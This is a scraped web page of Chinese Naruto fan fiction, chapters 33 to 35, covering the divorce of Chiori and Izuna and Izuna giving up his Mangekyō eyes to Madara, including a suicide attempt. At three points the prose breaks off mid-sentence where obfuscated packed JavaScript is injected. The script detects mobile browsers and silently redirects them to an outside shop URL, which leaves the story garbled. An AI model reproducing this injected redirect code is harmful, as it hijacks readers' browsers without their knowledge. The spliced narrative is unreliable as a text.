等到回了屋,我才松了口气:又旅的火焰明显可以控制,不会挨着什么就点着什么。 族里的许多建筑都是木制,烧起来可不得了。 我问泉奈抓又旅的动机。 总不会是下次战争把又旅扔到战场上吧? 战场上他也没办法分心控制尾兽,平白浪费万花筒的使用时长。 “尾兽出自十尾,是阴阳遁的产物,又拥有复活的能力,显然一般的阴阳遁产物有区别,”泉奈解释道,“那么可以尝试着从他们的身上提取拥有阴阳遁属性的查克拉,再进行分离。” 又旅张了张嘴,似乎想说话,显然又想起了什么,最后一言不发,一副“试吧试吧失败了你就知道了”的样子。 我真的有点想知道又旅到底经历了什么,作为一只尾兽居然摆烂成这样。 不过,泉奈提起尾兽,我就想起了另一个大概也算阴阳遁的产物——被辉夜分离出来的单独意识黑绝。 “……斑大人不会想对黑绝做同样的事吧?”我想起了之前族长说的那句有用。 话说回来,如果真的能掌握阴阳遁的用法,就算无法升级轮回眼,再生一只完好的眼睛也是轻而易举的事。 但这也不太可能达到啊!鸣人和佐助的阴遁阳遁都是六道传授的。 “是这样没错,我和斑哥因为这件事吵了一架,”泉奈微微皱眉,“那东西不可信。” 我:…… 原来真产生矛盾了啊。 所以你就出门抓尾兽去了?! 我当时只是出门做了个任务,现在感觉自己跟出门好几年错过好多事一样。 不过看泉奈和族长的态度,应该是非必要不想把念头打到千手族长身上去。 想要从千手族长身上得到什么,族中肯定也需要付出相应的代价,就算是结盟,族中也会弱上一头。 至于光明正大地从战场上得到千手柱间的血肉……不需要结印就能自愈的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“等一下,”我艰难地想要理解一只尾兽的思维,“我什么时候说过我们是这种关系了?” 她:? “你们年龄相近,住在一起,又养同一只尾兽,不是兄妹或者姐弟还能是什么关系?”又旅更加迷惑了。 “……有没有一种可能,我们是夫妻,所以才住在一起?”我也不知道我在沉默个什么,大概是太过无语了,好半天才回应道,“而且泉奈亲哥就住在我们隔壁。” 又旅刚才那副理所当然的推论差点把我说服……不对吧! 又旅诧异地炸起毛:“不可能!我可是见过真正的夫妻是怎么相处的,你们有一丝一毫像吗?” “怎么不可能!”她这样说我就不服气了。 “你们在一起的时候一点亲密的样子都没有,连情侣都不像!” 我瞪大了眼,辩解道:“我们一起走的时候还会牵手,你没看到罢了!” 又旅似乎被说服了,久久不能说话。 刚好休息的时间差不多了,我便也满意地拍拍衣服起身,打算去书房处理族务,一转身就见泉奈和他哥站在回廊尽头。 泉奈神情古怪地看着我和又旅,我的脑子腾的一下变得一片空白。 “……”所以,刚才那些话,被听到了多少! 33.同意 族长是因为快要过年才登门拜访。 这对兄弟之前因为黑绝的处理方式起了矛盾,双方都不愿意低头,各自研究自己的。眼看着年关将近,便借新年的由头重归于好。 又旅见到族长之后一直十分焦躁,躲了起来。 尾兽的异常左右和族长身为因陀罗转世者的身份脱不开关系,斑没有去管又旅的去向,和我们说了会儿话就离开了。 这下只剩下我和泉奈两人。 我们本来都一起住习惯了。大概是因为今天又旅指出我们的相处方式过于奇怪,我看着泉奈总觉得有些不自在。 泉奈的脸上也浮起几分尴尬。 他轻轻咳了一声:“又旅只是只尾兽,什么都不懂,说的话当不得真。” 我胡乱点头应了,这时又懊恼起来,自己好端端的争什么一时意气,非要向又旅举例子证明我们很亲密。 我们的关系本来就古怪极了,自己都说不太清楚。 泉奈的目光落到我的脸上,似乎有些心神不定。 我注意到他的眼神,问他怎么了,同时摸了摸自己的脸。 脸上沾了什么东西? 泉奈立刻笑了起来:“我只是在想,我们似乎很久没有出门逛街了,初诣结束后一起去吗?” 离新年初诣也就不到一周的时间,就算有临时安排,也不至于影响到那天。 泉奈大概也被又旅的话影响到,才提出这个邀请,我没拒绝。 南贺神社里供奉了六道仙人,我上次炸了石碑后,那里早已修葺完毕,只是我来这里时总有些心虚。 毕竟六道仙人的死是薛定谔的死,四战都还有他出场的戏份。 祈福后我催促着泉奈赶紧离开,他有些意外地问我:“你还怕这个?” “不是怕,”我反驳他,义正言辞,“这叫敬鬼神而远之。” 泉奈嗤笑了一声,也没多说,拉着我加快了速度。 镇上的人不是一般的多,我打听了一下才知道周边村落的居民都趁着过年出来玩。 我本来还以为镇上许多店都会因为过年歇业,结果集市热热闹闹,卖什么的都有。 甚至有几分当年夏日祭的感觉了。 我对吃主食没那么积极,这个年代的食物再怎么烹饪都是那个味,反而是集市上各式各样的零嘴更吸引我。 刚好街边有家店正在打年糕,我驻足看了一会儿,混在人群里凑热闹,没忍住掏钱买了一袋回来,而后分了一块给泉奈,自己也拿起一块尝味道。 对我来说,这味道有些淡了,穿越前我更喜欢吃烤得焦焦脆脆的或是炒年糕。 泉奈笑着接过年糕,咬了一口,而后神情一滞,眉毛轻微地下压了一些,放缓了吃年糕的速度,看起来不太习惯口感。 等他慢吞吞解决完手里那块,我盯着他看:“怎么样?” 他垂眸看了我一会儿,而后拿过我手里的年糕包好,不予评价:“你明明看出来了。” “抱歉抱歉,头一回看你吃东西的时候露出这种表情。”我抿着唇忍笑,明明兵粮丸味道更难忍受。 泉奈如临大敌地看了眼手上那包年糕,我见状伸手过去:“我自己拿着吧。” 他侧过身避了一下,轻哼道:“只是一包吃的东西而已,我替你拿着。” 我欸了声,也不强求,继续沿着集市逛下去。 一路上边买边逛,泉奈手上的食物也越堆越多,双手都空不出来了。 刚好我们经过了一个卖鲷鱼烧的小摊,我寻思着买的东西够多了,就没打算再买,反而是泉奈停了下来。 “你想吃这个?”我有些诧异地问他。 他明显更偏好入口脆爽的食物,味道的喜好上也不喜欢一味的甜,而是带些酸的鲜甜味。 鲷鱼烧对他而言只是普通的点心。 “嗯,”他看向我,“你不是也爱吃这个吗?” 闻言我愣了一下,心底泛起古怪的感觉,难以直接形容。有种冬天的时候在家打边炉的感觉,浸满一锅食材的乳白色汤汁在温暖的炉火下咕噜咕噜地冒着泡,却也不是完全沸腾。 不是很剧烈的感受,但带着股奇异的安心和温暖,同样无法忽视。 我惊惶地收回目光,往小摊的方向走了两步,这才停下。 摊主问我要几个,我鬼迷心窍地直接买了两个付款,等东西拿到手上后我才后知后觉—— 鲷鱼烧最好趁热吃,不能像其他食物一样打包带回家。 泉奈手上不空,如果只买一个,我还可以先拿着东西,然后把鲷鱼烧给他。 或者我们可以先找个能坐下的地方,把东西放一放,吃完东西再走。 “千织?” 泉奈的声音唤回我的思绪,我应了一声,而后下意识地举着其中一个鲷鱼烧凑到他唇边。 我和他齐齐愣住。 我心下一慌,下意识地想要收回手,泉奈的眼睫微微颤了一下,垂下的阴影敛住漆黑的眼瞳,而后微微俯首,就着我的手咬了一口被面皮裹住的甜食。 我的手僵在了半空。 “谢谢。”而后,泉奈抬眸看向我,轻声说道。 我:“……” “不、不用谢。”耳朵烫得厉害,我连忙收回手。手里拿着鲷鱼烧,我莫名地想着自己这下总算明白什么叫烫手山芋了! 看了一圈摩肩接踵的街道,终于找到个可以坐下休息的地方后,我便赶紧示意那个方向:“我们先过去休息一下,正好把东西吃了。” 泉奈自无不可,跟着我过去。 一坐下来,我连忙把泉奈那只鲷鱼烧塞进他手中,垂下头专心解决自己的。 往日喜欢的红豆沙不知为何有些索然无味。 食不知味地解决完手里的食物,我这才犹豫地看向泉奈,和他的视线对上。 天空簌簌地落起雪花,有零星几个行人买了伞遮雪。 他的眼睛像是闪烁着星星,在雪的映衬下更黑。 “别看了,吃个东西而已,哪里有什么好看的。”我伸手去挡他的眼睛,竟真的被我得了逞。 掌心下眼睫微微扫过,我手下意识地就要松开,泉奈却主动按了上去。 “别动。”他低低说了一声,任由自己的视线被遮挡,另一种手轻轻抚上了我的脸。 我呆呆看着他没动。 从眉骨到眼角、鼻梁到嘴唇,他的指尖带着股雪意的冷,安静、若即若离地自我脸上划过,留下微湿的感觉。 像是雪落的触感。 好像我们并非坐在街边,而我们现下正在做一件十分认真的事。 泉奈突兀而诡异的举动使我心底潜藏的不安更盛,我几乎是强硬地避开了他的手起身。 飘扬的雪花落到黑发青年的脸上,化开成透明的雪水,他仰着头看我,双手放在膝上,黑眸沉静,什么都没说。 我慢慢地冷静下来,垂头看他:“休息得够久了,走吧。” 泉奈嗯了一声,仿佛刚才什么都没发生一样,起身握住我的手,淡笑道:“好。” 我狐疑地望他一眼,他像个没事人一样,提议道道:“再去买几件冬衣吧,你的手有些冷。” 我好几次想要开口他刚才为什么突然那么做,他那样就好像他已经……看不见了一样。 但每每我想张口问他的时候,他就会突然提起一些事来转移我的注意力,眉眼温和,不像是故意的。 我的心思彻底没法放在逛街上了,宇智波泉奈这家伙却突然像是逛街上了瘾,拉着我去买各种东西。 到成衣店买冬衣的时候,我本来想随便添一件就够了的,毕竟到了我们这个份上的忍者,气温对我们的影响并不大,泉奈却说这不影响我们感知冷热,让我多选几件。 “那你也选几件呀,不然你站在我边上,穿得这么少,显得我输给你了一样。”看起来太丢脸了。 泉奈忍着笑说了声好。 最后我们全都两手不空,大包小包地抱着东西回了族地。 回去的路上人迹渐少,我用了个分/身术让分/身替我拿着东西。 自从见过宇智波真生用分/身术带孩子,我就感觉自己在这上面打通了任督二脉。 泉奈见状嘴角微抽,却如法炮制。 分/身送东西回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493626|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,我却扯住他把他逼在一棵树前,问他今天怎么这么反常。 换以前我绝对不会相信自己有朝一日会对泉奈做出树咚这种事。 树梢上的积雪簌簌抖落,洒落到我们头上。 “反常?”他的头发显得越发黑,泉奈沉默片刻,似乎想找借口转移话题,但深山老林里也没有什么话题可说,最后不得不接口,“我没有。” 他轻缓地眨眨眼,垂眸看我时眼中浮起几丝故作的笑意:“实在要说的话,我只是想如当初承诺那般,好好照顾你。” 我盯着他看了好一会儿,他为了增强自己话语的真实度,嘴角也微微翘起,仿佛十分轻松。 忍者当然擅长演戏。 就和他之前企图遮掩自己的眼睛状况一样。 “照顾我?”我缓缓呼出一口气,在散开的白色雾气中闭上了眼,伸手抚上泉奈的脸。 ——就如之前他对我做的一样,一寸寸地沿着他的面部骨骼往下探去。 手探到一半,被泉奈抓住了,他的嗓音发紧:“千织。” 我睁开眼看他,他脸上的笑意全都消失不见,我问他:“你想到了什么?” 他抿起唇,只是说道:“你想多了而已。” 我垂眸不看他:“是吗?尾兽的研究,应当进展不大吧。” 林间风飒飒而过,雪落无声。 “你究竟打算做什么,泉奈?” 万物都有求生的本能,当眼前摆着一条有希望的道路时,明知道希望微小,也会忍不住尝试。 根治万花筒的弊端上有一条捷径,失去一双万花筒后,族中能够得到一双永恒万花筒。 那么失去了对手的千手扉间怎么办呢? ——不提可能会因此占上风的族长,族里还剩一双普通万花筒呀。 我和泉奈互相切磋着长大,他再了解我的水平不过了。 即使我不用万花筒,我的幻术也能让与我对敌的人栽跟头。 攥着我的手更紧了,泉奈紧紧盯着我,一言不发。 我没有错开视线,等待他的回答。 他抬起一只手按住我的背,缓缓垂下头,我整个人被他箍在怀里,他的下巴抵在我的肩窝,轻声说话,语气挣扎。 “千织,我们离婚吧。”他说。 他现在所做的,和他口中的话,简直是两个极端。 “……原因呢?” 事到如今,我竟然觉得万分平静。 或许是早有预料。 可能是在又旅指出我们奇怪的相处模式之时,也可能是在察觉到他动了捐眼的心思时。 泉奈的力道越发大了。 “你知道的,”他缓慢地说道,“我是因为哥哥,才答应婚事的。但我可能没办法做到当初承诺的事了。” “千织,我不是宇智波真生,你也不是彩香,我们也不可以是,”他喃喃道,“族里也不可以低千手一头。” 那两个人? 我想起来了,当初我们去探望彩香时,泉奈表现出的异样。 曾失去宇智波真生的彩香一人吃力地操持着家庭。 原来如此。 “这件事,你想了多久呢?”我又问他。 泉奈没有说话。 似乎也没什么必要问下去了,我想。 毕竟再问下去也改变不了什么。 “泉奈,”我抬起手拍了拍他的背,闷声说道,“你松手吧,我同意了。” 有什么不能同意的呢? 他想走上那条失明的道路,我是族长获得永恒万花筒后的既得利益者,没有理由不支持他的做法。 在最后他甚至将我摘了出去,我也不必烦恼他失明之后我们的婚姻会变成什么样。 就像他说的那样,我们不可能变成宇智波真生和彩香,难道我要照顾失明的他一辈子吗? 我完全没有必要难过。 我一点也不难过。 只是要结束一桩荒唐的、源于儿戏般理由的婚姻罢了。 没了眼睛,他不上战场,大概也不用死,正所谓皆大欢喜的结局。 泉奈迟迟没有松手。 34.狼狈 新年离婚,简直是个大八卦。不过碍于我和泉奈的身份,没人当面讨论。 就算是这样,族人们看见我时眼光都有些异样。 我住进了老师以前的住宅,没搬以前的家。 爸爸妈妈先后来看过我好几次,想让我回家住,我拒绝了。 我不想看他们担心的样子。 火核忧心忡忡地上门时,我正在用土遁把满地荒草的院子挪平。 “……你们这究竟是怎么了?”火核在一旁看了好半天,才问出口。 吹了个火遁把院子里剩余的积雪烧得干干净净,我转过头看向火核:“什么怎么了?单纯过不下去,分开过而已,又不是什么大事。” 我冲火核露了个笑脸:“哥你以前不是不想我和泉奈结婚吗,现在你该高兴才对。” 他站在院子边沉默了很久,才问:“你开心吗?” “……”我摸了摸自己的胸口,心脏平稳地跳动着,没有丝毫异常。 于是我摇头:“我现在很正常,你不要担心,哥哥。” 火核欲言又止,眉毛皱得更紧了。 好半天,他走到我面前,拍了拍我的脑袋。 就像小时候那样。 “有什么心事的话,一定要告诉我。”面对我的拒不合作,他最终只能说出这么一句话。 后来我听说火核跑去和泉奈打了一架。 他当然输了,跑来看我的时候却跟个没事人一样。 我想起小时候我因为辉的事闹别扭,他也是这么站在我这一边。 那时候他说要是辉欺负我,就替我讨回来。 日子和以往没什么不一样,只是一个人住后清净了许多。 我不由想起又旅对我们相处模式的评价。 好吧,她说得确实没错。 二月末的时候,惠理沙和凉真来找我学忍术。 我当时正在院子里烤年糕,就招呼他们练习用查克拉控制火候。 两个小孩估计也听到些传言,心不在焉地一边练习火遁一边观察我的表情,没怎么敢说话。 我把忍猫捞到怀里揉,坐在边上问他们前段时间怎么没来。 忍猫有点不爽地叫了一声,但反抗无用。 我没有偷猫,猫是我先契约的,就算要分清楚关系,也该是泉奈和忍猫切割——当然,我们没分这么细。 提起这件事,凉真的眼睛突然亮了起来,惠理沙在一边酸溜溜地说:“凉真当哥哥了,可宝贝他弟弟了。” 凉真悄悄瞥了眼惠理沙,面上闪过一丝不安,却又道:“你就是嫉妒我有小镜这么可爱的弟弟。” “皱巴巴一团的小鬼,我嫉妒他干嘛!”惠理沙挑眉瞪向凉真,手中被查克拉控制的火焰却没受到一丝影响。 眼看着两个小孩子估计又得吵起来,我连忙道:“看好你们的火。” 于是双方偃旗息鼓。 我顺着忍猫的背抓挠着撸过去,若有所思:“小镜?这个名字在族里不是很常见。” 我翻过族里的名册,宇智波镜这个名字只有几个老人在用,小孩子的话……目前只有这一个。 不出意外的话,这个镜大概就是千手扉间日后的弟子。 时间越来越接近飞雷神斩现实的节点了。 凉真点头:“这个名字是妈妈取的,妈妈说她的老师就叫这个名字,但是那位忍者已经过世很多年了。” “……”大概是文化差异吧,我不是很能理解这个逻辑。 当年看某个大难不死的救世主用他老师们的名字给自家幼崽取名时,我也有点觉得他在占便宜——虽然确实是挺感动的一个设定。 以前看美琴用三代爸爸名字给佐助取名字的时候,我也不太理解。 我沉默的样子似乎吓到了两人,惠理沙小心翼翼地问道:“千织大人,您怎么了?” 我回过神,严肃道:“我在想一件事,你们一定要答应我。” 两个小孩一副认真求解的样子。 我清了清嗓子。 “答应我,要是我以后不慎死了,以后给孩子取名,千万别用我的名字。”我叮嘱道。 他俩大惊失色。 “千织大人,您在说什么呢!这种话说出来百分之九十都会出人命的!” “对啊!总有一方会出事的!” 我:“……” 你们小孩子追梗这么快,显得我很像守旧派。 不对,我明明,才二十出头啊! 放上辈子大学都还没读完呢,正是清澈愚蠢的好年纪! 正好年糕烤好了,我不想再想这些伤心事,转移话题让他们一起进屋吃。 一起吃完烤年糕,又看着他们练了几个忍术,我在院子里练了会儿剑,一个族长家的家忍上门拜访,说是族长让我到泉奈家一趟。 雪亮的刀剑映着天光,泛着透人心魄的冷。 我缓缓将刀归鞘,回头问他:“是命令吗?” 家忍的神情凝重肃穆:“族长在等您。” 马上要三月了,战争也要开始了。 我抬头看了看天,今天的天并不阴沉。相反,正是因为这是冬季难得的晴朗明澈的天气,我才会到院子里来烤年糕。 泉奈真是选了个好日子,我想。 一路跟着家忍带路,周围的建筑越发熟悉。 路上我问家忍:“发生什么事了吗?” “泉奈大人做了任务回来,似乎遇到了些意外,叫了药师过去,斑大人也去看了泉奈大人。”家忍在前方斟酌着开口,声音压得很低。 我垂眸看着路边墙根上晃动的影子,扯了扯嘴角:“这和我又有什么关系。” “……斑大人见了泉奈大人后,但至今没人出来。其余的情况我们也不清楚。” 族内就那么大,路并不长,小时候觉得很远的路眨眼间就到了。 上回走这条路从老师家到这里,还是老师让我送辉回家。 家忍领着我往泉奈房间的方向走,越近就越能察觉到一股阴冷而压抑的恐怖查克拉。 “……”族长现在这么生气,我真的不太想去了。 就在这么想着的时候,一个惊慌的声音从旁边院子里传了过来,蓝色的尾兽以迅雷不及掩耳之势叼住我的袍角,不让我继续往前走。 “宇智波斑疯了,他说要挖你的眼睛,快跑!” 回过头来的家忍脸色大变,在接触到我的目光后脸色发白,却一句话也不敢说。 我盯着又旅,没有说话。 蓝色的猫科动物脸上浮现起几缕心虚。 “……我们的关系,似乎不值得你涉险通风报信吧,又旅,”我蹲下身看着在斑的查克拉笼罩范围下微微发抖的尾兽,想了想后问道,“泉奈许给你什么好处了?” “你有没有想过,激怒了斑大人,就算泉奈为你担保,你也讨不得了好。” 太粗糙了。 虽然我和又旅却是能说得上几句话,但是尾兽忌惮万花筒就像是当年待在羽衣身体里留下的后遗症一样,又旅在一定程度上也忌惮着有万花筒的我。 更不用提她对族长那讳莫如深的态度了。 避着族长走不说,她在聊到族长时都不愿意称呼族长的名字,经常用“泉奈的哥哥”来指代。 她怎么可能会主动在族长明显状态不对的此刻在离族长这么近的地方对着和族长干。 只能是有人用更大的利益诱惑了又旅。 又旅定住身形,牙齿缓缓松开我的衣服。 “是泉奈安排的,”又旅迟疑了片刻,犹豫地看了眼泉奈的房间,“但他哥哥的情绪现在真的很不稳定,你考虑清楚再过去。” 这么说完后,又旅窜上房顶,飞快跑了。 “……千织大人?”家忍见我迟迟没有动作,不由出声问我。 我想了想刚才又旅的话,抬眼看过去,起身后对他温和地笑了笑:“没事,过去吧。” 虽然我确实也是万花筒,可我和泉奈之间可没什么亲缘关系。 族长要是想要我的眼睛…… 不久前在族长家的那场切磋已经证明了,族长完全可以亲自来取走我的眼睛,犯不着把我半哄半骗过来。 更何况这里还是泉奈的家,泉奈此刻的状态大概并不好,族长犯不着在这里动手打扰泉奈。 “斑大人,千织大人到了。” 家忍停在了泉奈的房门前,空气中隐隐传来刺鼻的腥气。 明明闻惯了这种味道的我却突然感觉一阵反胃的作呕,不禁皱着眉侧过头缓解。 门开了。 族长满脸阴沉地站在门前,让家忍离开后,他的目光锁定了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519576|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。 好浓重的杀气。 垂在身侧的手反复屈伸,握拳又松开。克制住去碰暗器的本能后,我眨了眨眼,看着族长,问道:“斑大人,您有什么吩咐?” 他身周的气压更低了。 “进来吧。”族长说着,转身往里走。 我哦了一声,跟着走了进去,把门合上。 大概是早有预料,所以在看见背对着我坐得挺拔笔直的泉奈身旁那一大盆血水和一旁已经被剜下来的眼睛时,我心中的情绪并不是很激烈。 可怜的药师守在泉奈身后,脸色泛白,身体不断颤抖。 还是到了这一天啊。 “真是让人震惊,发生了什么?”我将目光从罐子里的那双万花筒上收回,语气平淡地说道,“泉奈怎么伤得这么重,是谁伤的?” 泉奈平时扎成一股的长发披散着在背上散开,背对着我的长发忍者肩膀微微抖了一抖。 我极力从他身上收回目光。 族长站在一旁,看着我冷声说道:“你不知道?” “……哥,和千织没关系,她什么都不知道。”泉奈虚弱地说道。 “我该知道什么?”我放缓语调,语气惊讶,“斑大人,我和泉奈很久没有联系过了。” “为什么不赶紧医治?” 忍者确实是很擅长演戏的生物。 “为什么?因为没有必要了,他的万花筒瞎了。”族长语气讥讽。 但我知道这是假的,所以完全不知道该摆出什么表情。 族长的目光在我身上停顿片刻,突然低笑道:“你们是不是真的觉得,我的脾气很好?” 他语气森寒,看向他的亲弟弟:“宇智波泉奈,把眼睛装回去。” “我也可以接受你的眼睛,到时候我会把宇智波千织的眼睛挖出来给你,你自己选吧。” 旁边听了一耳朵恐怖秘闻的药师已经快哭出来了。 “……”要不我走? 我叹了口气,刚想说话,察觉到泉奈那边的动静,瞳孔猛地一缩—— 哐当一声。 幻术构建出的藤蔓在所有人都还没反应过来时冲着泉奈袭去,抽掉他手上的利刃。 我扑过去将他撞翻压在身下,手不住地抖着拽住他的领口,忍不住骂道:“宇智波泉奈,你真觉得自己的命不是命是吧!” 差不多一月没见的青年脸色苍白,双目凹陷,眼角一大片血痂。 他掌心还在因为刚才匕首被抽开误伤时流着血,整个人都被血腥味罩住,狼狈极了。 宇智波泉奈什么时候有这么狼狈的时候啊? 他稍微侧过了些头,微微抬起手,又踌躇地放下。 就差一点,他刚才就成功了。 我揪着他的领口,还在因为刚才的事冷汗涔涔,呼吸急促。 “够了吧,泉奈,”我咬着牙看着他,“做到这一步已经够了吧?” “没有必要搭上自己的性命,只要活着总会有办法的,你这么骄傲的人为什么要自己走上绝路?” “千手扉间要是知道你竟然是这么死的,不知道会高兴成什么样……你猜他会说什么?‘那个宇智波泉奈,就这么死了,简直是个蠢货……’你想死后被他这么议论着吗?” 无所谓了。 族长知道什么,他会有什么反应,他会做什么,都无所谓了。 什么永恒万花筒,什么不落下风的宇智波,全都无所谓了。 “你不是忍者吗?忍者不应该死在战场上吗,你这又算什么啊!” 我颤抖着,完全不知道自己在说什么,大脑与发声器官似乎完全分离成了两个独立的个体,一股脑地说着自己的大脑都无法处理的话。 “……” 泉奈的嘴唇翕动着,似乎在说什么。 我停了下来,呆呆地看着他。 ——别看我,千织。 他的手轻轻抚上我的脸颊,血顺着他的手、顺着我的脸,滴落得满衣服都是。 血的味道真的太刺鼻了,刺鼻得近距离闻道就刺得人条件反射地落泪。 我后知后觉地抬起手,绿色的查克拉落到他的手中。 “你不是想要争取和谈的力量吗,现在还不是哭泣的时候。下场战争,快来了。” 他微弱的声音传到我的耳边。 35.回避 瞳力与写轮眼相勾连,在万花筒状态摘掉眼睛所要承受的难以想象,从进门到现在,泉奈全然没有表露过痛苦,但他的神态已然说明目前状态不佳。 他掌心的伤口在查克拉的治疗下渐渐止住血,我不敢再压着他,抓住他的手,起身让开。 “……别说了,先让药师看看你的情况。” 在泉奈表露出想把眼睛给族长的意图时,我就知道他妥协了。 失去了眼睛,他只能从战场上退下。 他在族中的地位或许不会有变化,但他会在主战派中逐渐失去话语权。 但主战派在失去了泉奈后式微是注定的,所以他在乎的根本不是往后族里会不会和千手结盟,而是结盟之后的宇智波会不会处于下风。 我没有万花筒的话,泉奈大概会沿着原著的路径直到濒死时才将眼睛献出,并叮嘱族长不要结盟,尽管他那时大概已经料到结盟之势已经势不可挡。 但结盟的后果是显而易见的,失去了重要战力的宇智波会天然低千手一头。 纵然族长和千手族长之间真的存在友谊,可那点联系也只是存在于他们二人之间,等两人逝世,那些隐藏的祸患迟早会爆发。 即使结盟,宇智波也不可以在落于下风时和千手结盟。 这是我们的共识。 所以他挑了一个绝佳的时间点献出眼睛。 战争来临前夕,即使他再将眼睛装回去,也得适应养伤,在接下来对战千手扉间时很可能会出事,紧接着出事的就会是族中的士气。 作为族长和兄长的斑被他架在了两难的境地。 族长必须接受泉奈的眼睛,获得永恒万花筒,来弥补失去了泉奈的宇智波在战场上的损失。 所以族长会如此生气。 一旁的药师在族长的示意下上前为泉奈检查,族长在泉奈刚才来了那么一出后陷入了一种诡异的沉默。 他走到刚才匕首掉落的地方,捡起那把差点夺取了泉奈性命的武器,似乎极其认真地、借着射入房间的亮光端详着残留血迹的利刃。 就像是暴风雨来临的前夕,斑的脸上十分平静,却比刚才还外放着查克拉时的样子更加恐怖了。 反正我是不想主动去触霉头。 药师检查完之后,垂着头小心翼翼地向族长汇报泉奈的情况。 泉奈在一旁低声对我说了声抱歉,坚定地拿开我的手,垂着头自己用手撑着坐了起来。 他“看”向药师的方向,语调温和:“抱歉,今天的事恐怕需要对你用一道符咒来保密了。” 脸色苍白的药师闻言反而放下了心,险些喜极而泣。 他不怕其他的,就怕知道这么多东西后被灭口! 而后泉奈转向了族长的方向。 自刚才起,族长就一直不发一言,厚重的前发将他的神情尽数掩盖在阴影当中。 “哥哥,即便是为了族人,也请接受我的眼睛。” 族长没看泉奈,先让药师上前,面无表情地对药师种下符咒后让人去准备治疗用药。 等到药师退下,他才冷冷地扯了下嘴角,目光扫过我们两人。 “看来你们也还记得我是族长,”斑语气讥讽,“挑在这个时候逼迫我换眼睛,宇智波泉奈,你们要是想……” 族长的话戛然而止。 我以我们族人阴阳别人时的脑回路理了一遍,觉得族长很有可能是想说这个族长让泉奈来当算了。 至于为什么突然打住……刚才放狠话后泉奈用的那把刀还在族长手里拿着呢。 泉奈显然也领悟到了族长的未竟之语,沉默了好一会儿,才道:“这件事千织不知道,和她没关系。” “是吗?那就和刚才的药师一样,种下符咒。” “……哥哥,对不起。”泉奈抿了抿唇,微微仰起头,神情无害,紧闭着双眼,微微向前抬起了自己的手。 族长的脸上飞快地闪过一道茫然。 我轻轻侧过脸,不忍再看。 宇智波泉奈真的很清楚该怎么对付我们。 果不其然,刚才情绪状态还处在不可观测、但大概率会开出一只死猫的薛定谔盒子中的族长还是软化了态度,上前几步蹲了下来,握住了唯一在世的弟弟的手。 “泉奈,”族长的声音生硬极了,却不似刚才那么满是讥讽,“我只有你这么一个弟弟了。” 族长似乎在思考着什么,好一会儿才语气平稳地继续道:“但这也是最后一次。下一次再发生这种类似的事的话——” 被族长在近身泉奈时放在一侧的匕首反射的寒光恰到好处地折射到族长的眉眼处,让人分不清族长此刻的神情究竟是温和还是冷漠。 “你只要好好做我的弟弟,被我保护起来就好,泉奈。” 我:…… 族长不愧是日后的大反派,这种恐怖的台词就这么轻轻松松地用着平常的语气说出来了呢。 我就说我害怕族长还是有点道理的。 就在我还在惊叹泉奈的哥哥这么可怕的时候,泉奈也面不改色地回答道:“嗯,我明白了,斑哥。” “事不宜迟,先换上眼睛吧。”他抓住机会,催促道。 “……”我实在大开眼界,泉奈是怎么把换眼睛说得跟换身衣服一样轻松的?! 你完全没被你哥的话影响到吗!你就只在乎你哥妥协想要赶紧把事情定下来是吧! 然而今天让我受刺激的事还没完。 药师去煎药了。 泉奈看不见。 这件事不能让太多人知道。 目前房间里还剩两个看得见的人,其中一个是等待换眼的待手术者,另一个人正是不才在下。 所以来操刀换眼的人,不是很明显了吗! 最妙的是,手术条件不够,我的万花筒能凑。 火核,你妹妹出息了,能上手族长的写轮眼了。 我的表情绷不住了,看向面前的两兄弟:“真让我来?” 虽然我们忍者是多才多艺能喷火能种地,但是直接让我来给族长换眼睛还是太跳难度了吧! “写轮眼最好尽快换上去。”泉奈温声说道。 族长也没反对。 那…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13548127|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也行吧。 我倒没太大的技术层面上的心理负担,虽然佐助换眼睛的时候有带土帮忙操刀,但是四战后期眼睛就跟充电头一样即插即用了,想来这件事技术要求不高——仅针对写轮眼轮回眼而言。 给族长换完眼睛不久,药师端着药回来发现又多了个罐子装眼睛,之前装眼睛的那个罐子已经空了之后,人都傻在了原地,眼神慌乱。 偏偏泉奈还让药师去检查一下他哥的情况,这下刚才发生了什么更是一目了然。 我看着药师战战兢兢地去到族长边上,突然有些心理平衡,毕竟今天受到冲击的可不止我一个。 族长在检查身体,我就拿着熬好的药让泉奈喝。 